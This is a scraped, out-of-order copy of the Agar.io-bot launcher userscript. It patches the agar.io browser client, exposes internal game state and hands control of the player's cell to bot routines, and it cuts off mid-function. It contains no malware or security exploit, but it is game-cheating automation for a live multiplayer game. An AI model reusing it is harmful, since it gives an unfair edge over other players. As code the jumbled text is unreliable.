}), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }) } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, toggleFollow = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["-|0_0|-"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], selectedCell = 0, q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = [-1], ja = [-1], zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE window.getDarkBool = function() { return ta; } window.getMassBool = function() { return lb; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return v; } window.getCells = function() { return E; } window.getPlayer = function() { return k; } window.getWidth = function() { return m; } window.getHeight = function() { return r; } window.getRatio = function() { return h; } window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia[0]; } window.getPointY = function() { return ja[0]; } window.getMouseX = function() { return fa; } window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } window.getMode = function() { return P; } window.setPoint = function(x, y, index) { while (ia.length > getPlayer().length) { ia.pop(); ja.pop(); } if (index < ia.length) { ia[index] = x; ja[index] = y; } else { while (index < ia.length - 1) { ia.push(-1); ja.push(-1); } ia.push(x); ja.push(y); } } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } var ma = 500, eb = -1, fb = -1, z = null, D = 1, ua = null, Ua = function() { var a = Date.now(), b = 1E3 / 60; return function() { d.requestAnimationFrame(Ua); var c = Date.now(), l = c - a; l > b && (a = c - l % b, !T() || 240 > Date.now() - bb ? gb() : console.warn("Skipping draw"), Fb()) } }(), U = {}, ob = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"), Gb = ["8", "nasa"], Hb = ["m'blob"]; Ka.prototype = { V: null, x: 0, y: 0, i: 0, b: 0 }; da.prototype = { id: 0, a: null, name: null, o: null, O: null, x: 0, y: 0, size: 0, s: 0, t: 0, r: 0, J: 0, K: 0, q: 0, ba: 0, Q: 0, sa: 0, ia: 0,
DickDumBR1
Skip to content Sign up Sign in This repository Search Explore Features Enterprise Pricing Watch 137 Star 490 Fork 1,535 Apostolique/Agar.io-bot Branch: master Agar.io-bot/launcher.user.js @ApostoliqueApostolique 10 days ago Easier to see the borders 7 contributors @Apostolique @DarkN3ss61 @Linkaan @Timtech @henopied @Gjum @lilezek RawBlameHistory 2456 lines (2277 sloc) 93.893 kB /*The MIT License (MIT) Copyright (c) 2015 Apostolique Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 4.123 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 4.123; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; }; var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data.data); console.log("hmm: " + data.data.object.sha); sha = data.data.object.sha; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = 